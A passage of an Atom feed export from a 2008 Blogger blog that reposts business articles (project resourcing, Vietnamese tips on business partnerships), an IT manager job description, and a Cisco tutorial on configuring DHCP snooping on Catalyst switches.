align="right"&gt;&lt;em&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;Nam Khánh dịch từ Mybiz - BwPortal VN&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4561630984712257686?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4561630984712257686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4561630984712257686' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4561630984712257686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4561630984712257686'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/12/10-vin-gch-xy-nn-chin-lc-cnh-tranh-ca.html' title='10 viên gạch xây nên chiến lược cạnh tranh của Michael Porter'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-8142646369191069239</id><published>2008-12-03T22:14:00.001-08:00</published><updated>2008-12-03T22:17:31.866-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Business'/><title type='text'>Never start a project unless all resources are available</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://chatpics.masteraz.ru/images/never%20start.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 480px; height: 426px;" src="http://chatpics.masteraz.ru/images/never%20start.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;"&gt;url: http://maratische.livejournal.com/102187.html&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;img src="file:///C:/DOCUME%7E1/ADMINN%7E1/LOCALS%7E1/Temp/moz-screenshot-4.jpg" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-8142646369191069239?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/8142646369191069239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=8142646369191069239' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/8142646369191069239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/8142646369191069239'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/12/never-start-project-unless-all.html' title='Never start a project unless all resources are available'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5524595613802086955</id><published>2008-12-03T22:11:00.000-08:00</published><updated>2008-12-03T22:12:31.185-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Business'/><title type='text'></title><content type='html'>&lt;h2 class="date-header"&gt;Friday, February 03, 2006&lt;/h2&gt;                &lt;!-- Begin .post --&gt;   &lt;a name="113898476041297774"&gt;&lt;/a&gt;                &lt;h3 class="post-title"&gt;      Never start a project unless all the resources are available        &lt;/h3&gt;his is one of my bitter experiences to have witnessed in my career. It's not only about the number of resources, but also their skill sets. Always commit the estimate, after you have evaluated the skill levels of the resources available. Concrete estimates come only after all the requirements are freezed up.&lt;br /&gt;&lt;br /&gt;It should not happen that requirement that is given to you initially, is just a tip of the iceberg. Later on, you may find yourself trapped in a soup fighting over the new requirements and time, all the way throughout the project development. Especially, when you are also fully involved in coding, testing and management. This won't leave you with enough time to manage as well as solve the problems/hurdles.&lt;br /&gt;&lt;br /&gt;Development is not the only factor that should be considered, but also the environment under which the work is to be carried out, plays an important role. Due to lack of office space in small companies I have seen developers being made to sit parallel to the marketing and call support departments. Core development requires peaceful atmosphere where developers can concentrate writing creative lines of code. Given the nature of job for marketing department, they are the people of interactive personality and are in the habit of sharing unwanted stuff whenever they find time between marketing calls. This may frequently interrupt the development process. It is not to blame them, but is the requirement of their job profile. I mean interactivity and not bugging the the developers :-).&lt;br /&gt;&lt;br /&gt;One more aspect of environment is your software system environment. This is where you will initiate coding. Ensure that system environment is all setup to the satisfaction. If not, also provide the estimate for the same.                           &lt;em&gt;posted by Nehal Shah at &lt;a href="http://nehalshah.blogspot.com/2006/02/never-start-project-unless-all.html" title="permanent link"&gt;8:36 AM&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;url:http://nehalshah.blogspot.com/2006/02/never-start-project-unless-all.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5524595613802086955?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5524595613802086955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5524595613802086955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5524595613802086955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5524595613802086955'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/12/friday-february-03-2006-never-start.html' title=''/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4014557614140784065</id><published>2008-11-25T18:57:00.000-08:00</published><updated>2008-11-25T18:59:58.690-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Business'/><title type='text'>6 yếu tố cần tránh khi hợp tác kinh doanh</title><content type='html'>&lt;h2&gt;6 yếu tố cần tránh khi hợp tác kinh doanh&lt;br /&gt;&lt;i&gt;Cập nhật lúc: 15h 05.11.2008&lt;/i&gt;&lt;/h2&gt;  &lt;span id="lblDetail" style="font-size: 10pt; font-family: Arial;"&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;Hợp tác giữa các công ty đã trở thành một phần quan trọng trong kinh doanh. Lý do thật đơn giản: đó là bổ sung kỹ năng cho nhau, chia sẻ công cụ, chi phí và ý tưởng để có thể hiện thực hóa một sáng kiến hay và các bên hợp tác sẽ cùng thu được lợi nhuận. &lt;/span&gt;&lt;/strong&gt; &lt;div align="left"&gt; &lt;/div&gt;&lt;img style="margin-top: 10px; margin-bottom: 10px; margin-right: 10px;" alt="" src="http://vietnambranding.com/news/img3/1225873800_42-18456857.jpg" align="left" border="0" /&gt;Nhưng cũng tương tự như một sự “hôn phối” giữa hai cá thể, bên trong mối quan hệ hợp tác thường có không ít rắc rối và thử thách liên quan đến vô số vấn đề như chi phí, thuê mướn nhân viên, chia sẻ lợi nhuận. &lt;div&gt; &lt;/div&gt;Vì thế, nếu đang nghĩ đến chuyện hợp tác cùng doanh nghiệp nào đó, bạn hãy cân nhắc đến những điều sau đây:  &lt;div align="left"&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;1. Không cân nhắc kỹ khi góp vốn&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bất cứ lúc nào nói đến việc phải sẻ chia một phần vốn của mình, như tiền bạc, nguyên liệu, thông tin và bất động sản, thì có nghĩa là bạn sẽ mất đi một phần khả năng nắm bắt sự nghiệp của mình. &lt;div align="left"&gt; &lt;/div&gt;Trong một thế giới hoàn hảo, người hợp tác cùng luôn có ý chí tốt, chính trực và không hề có ý tưởng chiếm đoạt phần tài sản ấy hay sử dụng chúng để kiếm tiền cho riêng mình, nhưng cuộc sống hiện nay không hoàn mỹ như thế. &lt;div&gt; &lt;/div&gt;Do đó, hãy luôn cẩn trọng, tính toán mọi chi phí hoạt động và lợi nhuận mà bạn chia sẻ theo một bản thỏa thuận hợp tác. Cũng đừng quên tạo ra một lối thoát dễ dàng cho mình nếu mọi chuyện trở nên không như ý muốn.  &lt;div align="left"&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;2. Hợp tác chỉ vì không đủ tiền thuê nhân công&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Đây chính là liều thuốc giết chết sự hợp tác ngay khi mới bắt đầu. Hoàn cảnh thường rất quen thuộc: A có ý tưởng kinh doanh và B lại sở hữu kỹ năng kinh doanh, nhưng A không đủ khả năng thuê mướn B nên họ quyết định cùng chia sẻ công việc, chi phí và lợi nhuận. &lt;div align="left"&gt; &lt;/div&gt;Điều gì sẽ xảy ra nếu A và B cùng kết thúc mọi thứ trong tình trạng cả hai đối đầu với nhau và A chợt nhận ra rằng anh ta hoàn toàn lệ thuộc vào những điều lệ bắt buộc ghi trong hợp đồng hợp tác với B? Nếu bạn có được một ý tưởng và biết một ai đó có được một kỹ năng thì hãy thuê anh ta hoặc thực hiện một bản hợp đồng chấp thuận sự độc lập của mình. &lt;div align="left"&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;3. Thiếu hợp đồng hợp tác&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Trong sự hợp tác, mọi chi tiết và trách nhiệm đều phải được kê khai rõ ràng và viết ra giấy, và hợp thức hóa bằng hợp đồng có cả sự tham gia của luật sư hai bên. Bạn sẽ rất cần đến luật sư khi tình thế xấu đi. &lt;div align="left"&gt; &lt;/div&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;4. Xem thường việc hợp tác hữu hạn&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Một trong những nguyên nhân chính dẫn đến sự thất bại của hợp đồng hợp tác chính là việc hiểu nhầm về các điều lệ pháp lý mà các bên đặt ra cho nhau. Một điều đáng chú ý chính là chủ quan trong sự hợp tác hữu hạn, nghĩa là một bên không phải chịu trách nhiệm về những hành động hay bổn phận nào của bên kia. Hãy để luật sư xem xét kỹ vấn đề này trong bản thỏa thuận. &lt;div align="left"&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt;&lt;span style="color: rgb(0, 100, 0);"&gt;&lt;strong&gt;5. Thiếu hẳn một lối thoát&lt;/strong&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Trong bất kỳ thỏa thuận hợp tác nào, hãy xác định rõ các điều khoản cho phép bạn và đối tác có thể chấm dứt việc hợp tác hoặc những lựa chọn liên quan đến việc mua lại toàn bộ tài sản của đối tác. Đây thật sự là một công việc dễ dàng và minh bạch, cũng như không hề dính dáng đến sự thành công của việc kinh doanh chung.  &lt;div align="left"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4014557614140784065?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4014557614140784065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4014557614140784065' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4014557614140784065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4014557614140784065'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/11/6-yu-t-cn-trnh-khi-hp-tc-kinh-doanh.html' title='6 yếu tố cần tránh khi hợp tác kinh doanh'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-6483735955590182368</id><published>2008-11-10T18:19:00.000-08:00</published><updated>2008-11-10T18:22:09.917-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IT Manager Job Description'/><title type='text'>IT Manager - job description</title><content type='html'>&lt;table class="info" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan="3" class="title_news"&gt;Brief Description :&lt;/td&gt;       &lt;/tr&gt;          &lt;tr&gt;         &lt;td colspan="3" height="10"&gt;&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3" style="padding-left: 20px;"&gt;• Overall responsible for the Information Technology Management.&lt;br /&gt;&lt;br /&gt;• Other Responsibilities are:&lt;br /&gt;&lt;br /&gt;- Overall responsibility for the maximum uptime and utilization of IT systems&lt;br /&gt;&lt;br /&gt;- Project manage IT-related implementations&lt;br /&gt;&lt;br /&gt;- Manage and develop training plans for IT Team&lt;br /&gt;&lt;br /&gt;- Continuously review business processes with users to ensure that efficiency &amp;amp; quality of work are maximized through proper implementation of IT solutions.&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3"&gt; &lt;/td&gt;       &lt;/tr&gt;           &lt;tr&gt;         &lt;td colspan="3" class="title_news"&gt;Key Responsibilities :&lt;/td&gt;       &lt;/tr&gt;    &lt;tr&gt;         &lt;td colspan="3" height="10"&gt;&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3" style="padding-left: 20px;"&gt; System and Project Management&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- To lead overall planning and selection of IT technical, infrastructure solutions &amp;amp; business applications. &lt;br /&gt;&lt;br /&gt;- To liaise with users to understand the business requirements and to source for the right solutions.&lt;br /&gt;&lt;br /&gt;- To lead in the evaluation and selection of IT solutions and strategic implementation partners.&lt;br /&gt;&lt;br /&gt;- To oversee planning, development and project management of IT projects.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; IT Management&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- To prepare the annual IT Budget and Key Activities.&lt;br /&gt;&lt;br /&gt;- To ensure that the IT costs are well managed.&lt;br /&gt;&lt;br /&gt;- Provide timely reporting to management on IT project status and Service levels.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; IT System Services &amp;amp; Operations&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- To work closely with NISAP Team in handling SAP related issues.&lt;br /&gt;&lt;br /&gt;- Work with Corporate IS in planning and implementation of  local infrastructure &amp;amp; technical projects&lt;br /&gt;&lt;br /&gt;- Ensure minimal downtime in IT systems and proper backups are performed for critical systems.&lt;br /&gt;&lt;br /&gt;- Manage IT Helpdesk support and ensure that network and messaging system service levels are met.&lt;br /&gt;&lt;br /&gt;- Ensure environment has adequate security and protection in place such as virus mgmt, internet security mgmt, information security policies)&lt;br /&gt;&lt;br /&gt;- Vendor management of local contracts and service agreements&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Business Process Review&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- To recommend alternatives of performing daily tasks to reduce redundancy &amp;amp; manual work through IT solutions.&lt;br /&gt;&lt;br /&gt;- To gather feedback from business users on their requirements for IT systems from time to time.&lt;br /&gt;&lt;br /&gt;- To work closely with NISAP Team to ensure SAP functionalities are being extended to enhance business processes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IT Staff Development&lt;br /&gt;&lt;br /&gt;- To assist in IT staff recruitment and definition of job roles &amp;amp; responsibilities.&lt;br /&gt;&lt;br /&gt;- To develop training &amp;amp; development plan and recommend appropriate training for IT staff&lt;br /&gt;&lt;br /&gt;- To develop the performance appraisal guidelines and KPI measurements for inclusion to Performance Contracts&lt;br /&gt;&lt;br /&gt;- To monitor overall performance of IT staff and provide direct assistance to team members in resolving work-related issues.&lt;br /&gt;&lt;br /&gt;- To coach IT staff in effective problem resolution and decision making process.&lt;br /&gt;&lt;br /&gt;- To motivate and supervise the IT staff to achieve the established key performance indicators.&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3"&gt; &lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3" class="title_news"&gt;Job Requirement:&lt;/td&gt;       &lt;/tr&gt;     &lt;tr&gt;         &lt;td colspan="3" height="10"&gt;&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td colspan="3" style="padding-left: 20px;"&gt;IT technologies and devices are continual change therefore the jobholder needs to study and attend IT technology-training courses usually.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://www.vipdatabase.com/index.php?act=viewjob&amp;amp;jobid=4658&amp;amp;mn=2&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-6483735955590182368?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/6483735955590182368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=6483735955590182368' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6483735955590182368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/6483735955590182368'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/11/it-manager-job-description.html' title='IT Manager - job description'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5762298692193558212</id><published>2008-10-16T18:46:00.000-07:00</published><updated>2008-10-16T18:49:17.595-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><title type='text'>Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS)</title><content type='html'>&lt;div class="post" id="post-198"&gt;      &lt;div class="posthead"&gt;    &lt;h2&gt;&lt;a title="Permanent Link to Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS)" href="http://www.itsyourip.com/cisco/enableconfigure-dhcp-snooping-in-cisco-catalyst-switches-ios/" rel="bookmark"&gt;Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS)&lt;/a&gt;&lt;/h2&gt;    &lt;small class="postauthor"&gt;Posted on May 15, 2008 under &lt;a href="http://www.itsyourip.com/category/cisco/" title="View all posts in Cisco" rel="category tag"&gt;Cisco&lt;/a&gt; |  &lt;/small&gt;   &lt;br /&gt;&lt;br /&gt;   Tags:&lt;a href="http://www.itsyourip.com/tag/cisco/" rel="tag"&gt;Cisco&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/denial-of-service/" rel="tag"&gt;denial-of-service&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/dhcp/" rel="tag"&gt;DHCP&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/dhcp-snooping/" rel="tag"&gt;DHCP-Snooping&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/ios/" rel="tag"&gt;ios&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/option82/" rel="tag"&gt;Option82&lt;/a&gt; &lt;a href="http://www.itsyourip.com/tag/Security/" rel="tag"&gt;Security&lt;/a&gt;            &lt;/div&gt; &lt;!-- end posthead --&gt;         &lt;div class="KonaBody"&gt;&lt;div align="center"&gt; &lt;script type="text/javascript"&gt;&lt;!-- google_ad_client = "pub-6006760557805242"; //IYIP-POST-336 google_ad_slot = "1493649922"; google_ad_width = 336; google_ad_height = 280; //--&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt; &lt;/script&gt;&lt;/div&gt; &lt;p&gt;DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks.&lt;/p&gt; &lt;p&gt;The DHCP snooping binding table contains the MAC address, IP address, lease time, binding type, VLAN number, and interface information that corresponds to the local untrusted interfaces of a switch. An untrusted interface is an interface that is configured to receive messages from outside the network or firewall. A trusted interface is an interface that is configured to receive only messages from within the network.&lt;/p&gt; &lt;p&gt;DHCP snooping can be enabled on the switch per vlan as it can intercept the DHCP messages at the layer2.&lt;/p&gt; &lt;p&gt;&lt;span id="more-198"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;The following is a step by step procedure to enable and configure DHCP snooping in Cisco catalyst switches running Cisco IOS&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Enable DHCP Snooping&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config)# ip dhcp snooping&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Enable DHCP Snooping on VLANs&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;DHCP snooping can be enabled on one or more VLANs or a range of VLANs&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config)# ip dhcp snooping vlan number 100&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;The above enables dhcp snooping on VLAN 100&lt;/p&gt; &lt;p&gt;&lt;strong&gt;To enable on more VLANs&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config)# ip dhcp snooping vlan number 10-15 100 110&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;where the DHCP snooping is enabled on VLAN 10-15, 100 and 110&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Enable DHCP Option 82&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;This allows DHCP option 82 message insertions into the packets. Option 82 is the Relay Agent Information Option as described in &lt;a href="http://www.faqs.org/rfcs/rfc3046.html" target="_blank" title="RFC 3046" onclick="javascript:pageTracker._trackVisit('/outbound/article/www.faqs.org');"&gt;RFC 3046&lt;/a&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config)# ip dhcp snooping information option&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt; &lt;strong&gt;&lt;u&gt;Configure Trust Interface&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Interface not explcicitly configured as a trust interface is treated as an untrusted interface.&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config)# interface fa0/0&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;ciscoswitch(config-if)# ip dhcp snooping trust &lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;DHCP Snooping Rate limiting (optional)&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Rate limiting allows restricting the number of DHCP packets per second (pps) that an interface can receive&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch(config-if)# ip dhcp snooping limit rate 202&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Where "202" indicates that the interface can receive "202" messages per second&lt;/p&gt; &lt;p&gt;This should configure DHCP Snooping on Cisco IOS switches.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Display DHCP Snooping&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch# show ip dhcp snooping&lt;/strong&gt;&lt;br /&gt;DHCP Snooping is configured on the following VLANs:&lt;br /&gt;    10-15 100 110&lt;br /&gt;Insertion of option 82 information is enabled.&lt;br /&gt;Interface           Trusted        Rate limit (pps)&lt;br /&gt;———           ——-        —————-&lt;br /&gt;FastEthernet2/1     yes            10&lt;br /&gt;FastEthernet2/2     yes            none&lt;br /&gt;FastEthernet3/1     no             20&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;Display DHCP Snooping Binding Table&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;ciscoswitch# show ip dhcp snooping binding&lt;/strong&gt;&lt;br /&gt;MacAddress      IP Address      Lease (seconds)      Type        VLAN      Interface&lt;br /&gt;———–     ———–     —————-     —–       —–     ————&lt;br /&gt;0000.0100.0201  10.0.0.1        1600                 dynamic     100       FastEthernet2/1&lt;/p&gt; &lt;/blockquote&gt; &lt;script type="text/javascript"&gt;   addthis_url    = 'http%3A%2F%2Fwww.itsyourip.com%2Fcisco%2Fenableconfigure-dhcp-snooping-in-cisco-catalyst-switches-ios%2F';   addthis_title  = 'Enable%2FConfigure+DHCP+Snooping+in+Cisco+Catalyst+Switches+%28IOS%29';   addthis_pub    = ''; &lt;/script&gt;&lt;script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12"&gt;&lt;/script&gt; &lt;/div&gt;&lt;!-- KonaBody --&gt;           &lt;/div&gt; &lt;!-- end post --&gt;            &lt;div class="relatedposts"&gt;  &lt;h3&gt;Related Posts&lt;/h3&gt;  &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.itsyourip.com/cisco/unable-to-delete-staleobsolete-statc-routes-in-cisco-ios/" title="DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks. The DHCP snooping binding table contains the MAC address, IP [...]"&gt;Unable to delete Stale/Obsolete statc routes in Cisco IOS&lt;/a&gt; (Jul 03, 2008)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.itsyourip.com/cisco/how-to-create-vlan-interfaces-for-intervlan-routing-in-cisco-ios/" title="DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks. The DHCP snooping binding table contains the MAC address, IP [...]"&gt;How to create VLAN Interfaces for InterVLAN Routing in Cisco IOS&lt;/a&gt; (Jul 01, 2008)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.itsyourip.com/cisco/high-cpu-usage-when-snmp-is-enabled-in-cisco-routers/" title="DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks. The DHCP snooping binding table contains the MAC address, IP [...]"&gt;High CPU usage when SNMP is enabled in Cisco Routers&lt;/a&gt; (Jun 19, 2008)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.itsyourip.com/cisco/configure-md5-encrypted-passwords-for-users-on-cisco-ios/" title="DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks. The DHCP snooping binding table contains the MAC address, IP [...]"&gt;Configure MD5 encrypted passwords for users on Cisco IOS&lt;/a&gt; (May 20, 2008)&lt;/li&gt;&lt;li&gt;&lt;a 